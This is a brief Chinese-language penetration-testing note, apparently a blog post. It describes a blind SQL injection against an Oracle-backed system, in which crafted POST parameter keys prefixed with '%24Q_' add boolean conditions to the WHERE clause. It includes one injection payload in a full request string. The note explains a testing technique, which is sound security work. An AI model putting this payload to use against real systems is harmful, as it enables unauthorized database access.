Oracle添加键值对盲注

前言

遇到一种注入点，存在于POST参数中，却不能用sqlmap扫出；

分析

• request参数格式：

%24Q_value1=test1&orderCol=&order=+ASC+&_query_code=0&_%24Qvalue2=test2&rowCount=10000&currentPage=21

• 转换为sql语句： select * from xxx where value1=test1 and value2=test2;
  
  该系统查询的参数类似上面的格式：

• .php?id=1 测试的时候添加 .php?id=1 and 1=1 .php?id=1 and 1=2 来进行判断，这个系统这么添加参数并不能判断出来

• 猜想系统遇到%24Q_这个字符串的时候就会将后面紧跟的数值作为sql查询中的键使用，并添加一个and用来连接，所以构造如下：

%24Q_value1=test1&orderCol=&order=+ASC+&_query_code=0&_%24Qvalue2=test2&%24Q_1%3d1%20and%201=2&rowCount=10000&currentPage=21

• 转换为sql语句： select * from xxx where value1=test1 and value2=test2 and 1=1 and 1=2;

• 变盲注了；